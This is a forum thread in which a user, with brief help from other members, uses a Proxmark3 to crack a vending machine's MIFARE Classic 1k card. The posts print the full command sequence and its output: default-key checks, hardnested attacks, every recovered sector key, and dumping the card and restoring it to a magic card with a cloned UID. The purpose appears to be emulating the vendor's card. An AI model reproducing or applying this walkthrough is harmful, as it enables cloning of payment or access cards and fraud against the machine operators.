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#1 2018-10-31 10:07:50

apotere
Contributor
Registered: 2018-10-30
Posts: 11

Vending machine Mifare key Hardnested

Hello people! Me and my friend have some questions on how to hack a vending machine Mifare CLASSIC 1k.
The mifare in question is a hardnested type.
With weak pseudorandom number generator we didn't have any kind of problems.
But with hardnested we are asking ourselfs if we are doing a good job.

So first of all we search for the high frequency mifare and get the following:

proxmark3> hf se

UID : 7b 0d 92 22
ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
No chinese magic backdoor command detected
Prng detection: HARDENED (hardnested)

Valid ISO14443A Tag Found - Quiting Search

Then we try to check it with the default keys as usual ... but it seems prety locked

proxmark3> hf mf chk * ?
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 1a2b3c4d5e6f
chk default key[ 6] 123456789abc
chk default key[ 7] 010203040506
chk default key[ 8] 123456abcdef
chk default key[ 9] abcdef123456
chk default key[10] 4d3a99c351dd
chk default key[11] 1a982c7e459a
chk default key[12] d3f7d3f7d3f7
chk default key[13] 714c5c886e97
chk default key[14] 587ee5f9350f
chk default key[15] a0478cc39091
chk default key[16] 533cb6c723f6
chk default key[17] 8fd0a4f256e9

To cancel this operation press the button on the proxmark...
--o
|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  a0a1a2a3a4a5  | 1 |  ffffffffffff  | 0 |
|001|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|002|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|003|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|004|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|005|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|006|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|007|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|008|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|009|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|010|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|011|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|012|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|013|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|014|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|015|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|---|----------------|---|----------------|---|

so the first thing i think is ... well lets try with hardnested atack with a0a1a2a3a4a5 big_smile ! And it gives me the key eae8968d5c70 !


proxmark3> hf mf hard * A a0a1a2a3a4a5 10 A
--target block no: 10, target key type:A, known target key: 0x000000000000 (not
set), file action: none, Slow: No, Tests: 0
Using AVX2 SIMD core.
time    | #nonces | Activity                                                | expected to brute force
         |         |                                                         | #states         | time
--------------------------------------------------------------------------------
----------------------
       0 |       0 | Start using 4 threads and AVX2 SIMD core                |
               |
       0 |       0 | Brute force benchmark: 341 million (2^28.3) keys/s      | 1
40737488355328 |    5d
       1 |       0 | Using 235 precalculated bitflip state tables            | 1
40737488355328 |    5d
...
      20 |    1440 | Apply bit flip properties                               |
   15487296512 |   45s
      20 |    1440 | (Ignoring Sum(a8) properties)                           |
   15487296512 |   45s
      29 |    1440 | Starting brute force...                                 |
   15487296512 |   45s
      95 |    1440 | Brute force phase completed. Key found: eae8968d5c70    |
             0 |    0s
   


   
proxmark3> hf mf hard * A ffffffffffff 20 A
--target block no: 20, target key type:A, known target key: 0x000000000000 (not
set), file action: none, Slow: No, Tests: 0
Using AVX2 SIMD core.



time    | #nonces | Activity                                                | e
xpected to brute force
         |         |                                                         | #
states         | time
--------------------------------------------------------------------------------
----------------------
       0 |       0 | Start using 4 threads and AVX2 SIMD core                |
               |
       0 |       0 | Brute force benchmark: 350 million (2^28.4) keys/s      | 1
40737488355328 |    5d
       1 |       0 | Using 235 precalculated bitflip state tables            | 1
40737488355328 |    5d
#db# Authentication failed. Card timeout.




... and here is the question what comands should i launch now?
Am i doing this right?
What do i need to do now , if i need to emulate it after?

Thank you for your collaboration.

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#2 2018-10-31 10:18:29

apotere
Contributor
Registered: 2018-10-30
Posts: 11

Re: Vending machine Mifare key Hardnested

Forgot to mention , i then added the key that has been found to default_keys.dic and executed :
hf mf chk * ? ./default_keys.dic that gave me this result:
|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  a0a1a2a3a4a5  | 1 |  ffffffffffff  | 0 |
|001|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|002|  eae8968d5c70  | 1 |  ffffffffffff  | 0 |
|003|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|004|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|005|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|006|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|007|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|008|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|009|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|010|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|011|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|012|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|013|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|014|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|015|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|---|----------------|---|----------------|---|

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#3 2018-10-31 11:08:51

apotere
Contributor
Registered: 2018-10-30
Posts: 11

Re: Vending machine Mifare key Hardnested

so i am continuing to launch these commands everytime increasing by 4 the block number :

hf mf hard * A a0a1a2a3a4a5 0 A
.............
hf mf hard * A a0a1a2a3a4a5 4 A

and everytime i am adding the descoverd key to default_keys.dic and by launching hf mf chk * ? ./default_keys.dic the output is :

|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  a0a1a2a3a4a5  | 1 |  ffffffffffff  | 0 |
|001|  e96df21719be  | 1 |  ffffffffffff  | 0 |
|002|  eae8968d5c70  | 1 |  fa96f7ca8711  | 1 |
|003|  ebba460cc639  | 1 |  ffffffffffff  | 0 |
|004|  ec35e167359b  | 1 |  ffffffffffff  | 0 |
|005|  edaf6fdb9ed9  | 1 |  ffffffffffff  | 0 |
|006|  eed4781b585a  | 1 |  ffffffffffff  | 0 |
|007|  ef79fbce8bce  | 1 |  ffffffffffff  | 0 |
|008|  e06a8a878a21  | 1 |  ffffffffffff  | 0 |
|009|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|010|  e2c737ed3316  | 1 |  ffffffffffff  | 0 |
|011|  e3f90ff4ba70  | 1 |  ffffffffffff  | 0 |
|012|  e48172f43898  | 1 |  ffffffffffff  | 0 |
|013|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|014|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|015|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|---|----------------|---|----------------|---|
Needless to say i am continuing even if i don't know if i am doing something right big_smile

If someone could tell me if i am doing something wrong i would be happy to follow.

Last edited by apotere (2018-10-31 21:17:33)

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#4 2018-10-31 21:54:07

apotere
Contributor
Registered: 2018-10-30
Posts: 11

Re: Vending machine Mifare key Hardnested

Now that i got all the keys for all the blocks :


hf mf chk * ? ./default_keys.dic


|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  a0a1a2a3a4a5  | 1 |  f8a4e8d9f4a1  | 1 |
|001|  e96df21719be  | 1 |  f9166635409a  | 1 |
|002|  eae8968d5c70  | 1 |  fa96f7ca8711  | 1 |
|003|  ebba460cc639  | 1 |  fbe05a0fc474  | 1 |
|004|  ec35e167359b  | 1 |  fca7e1b85fcf  | 1 |
|005|  edaf6fdb9ed9  | 1 |  fd1f82ab8613  | 1 |
|006|  eed4781b585a  | 1 |  fecf0f1f927e  | 1 |
|007|  ef79fbce8bce  | 1 |  ffd0e0d3d4dc  | 1 |
|008|  e06a8a878a21  | 1 |  f0f17ba7db5c  | 1 |
|009|  e18f1bfeffbb  | 1 |  f117de730420  | 1 |
|010|  e2c737ed3316  | 1 |  f2925a13b3d8  | 1 |
|011|  e3f90ff4ba70  | 1 |  f3c8f8c4ff92  | 1 |
|012|  e48172f43898  | 1 |  f4f99dcb9d8a  | 1 |
|013|  e58279d9ff09  | 1 |  f5068427a2c4  | 1 |
|014|  e66023533727  | 1 |  f6c9f83b0b24  | 1 |
|015|  e752a5b81cf5  | 1 |  f76796010efd  | 1 |
|---|----------------|---|----------------|---|



How can i dump them in a bin file?

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#5 2018-10-31 22:24:09

apotere
Contributor
Registered: 2018-10-30
Posts: 11

Re: Vending machine Mifare key Hardnested

pretty good website :
https://scund00r.com/all/rfid/2018/06/0 … sheet.html big_smile has all what i needed to emulate the vendor key.
Have a good day !

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#6 2018-10-31 23:04:09

apotere
Contributor
Registered: 2018-10-30
Posts: 11

Re: Vending machine Mifare key Hardnested

so now i am tring to restore the dump in another card that has arived with the proxmark :
hf mf restore

Restoring dumpdata.bin to card
Writing to block   0: 7b 0d 92 22 c6 88 04 00 c8 18 00 20 00 00 00 14
#db# Cmd Error: 04
#db# Write block error
#db# WRITE BLOCK FINISHED
isOk:00
Writing to block   1: 7b 00 26 88 26 88 00 00 00 00 00 00 00 00 00 00
#db# WRITE BLOCK FINISHED
isOk:01
Writing to block   2: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
#db# WRITE BLOCK FINISHED
isOk:01


But on the first block [0] i get this error : #db# Cmd Error: 04

Can someone advise?

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#7 2018-11-02 10:58:13

apotere
Contributor
Registered: 2018-10-30
Posts: 11

Re: Vending machine Mifare key Hardnested

Hello there!
We managed to restore the data on a chinese magic mifare and we managed to set the "fake" uid.
Now if we try to restore the data or to write to a block it gives this error:
#db# Authentication failed. Card timeout.
#db# Auth error
#db# WRITE BLOCK FINISHED

Can someone tell me how to wipe it to 0 so i can restore it one more time , or how can i find the key to write to the card a specific block?
Thank you

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#8 2018-11-03 21:30:08

merlok
Contributor
Registered: 2011-05-16
Posts: 132

Re: Vending machine Mifare key Hardnested

try to show `hf 14a info` of magic card. if there is no backdoor command - you have to buy another card...

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#9 2018-11-04 15:58:47

iceman
Administrator
Registered: 2013-04-25
Posts: 9,538
Website

Re: Vending machine Mifare key Hardnested

script list,    try remagic script

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#10 2019-09-29 10:49:43

ulisse
Contributor
Registered: 2019-09-29
Posts: 8

Re: Vending machine Mifare key Hardnested

Hello you can tell me that you have to use commands with Prof Mark to be able to read the keys in a me make classic
Honestly I can not understand what commands you have to enter so that give me all the keys and all blocks do not know how to do you can help me please

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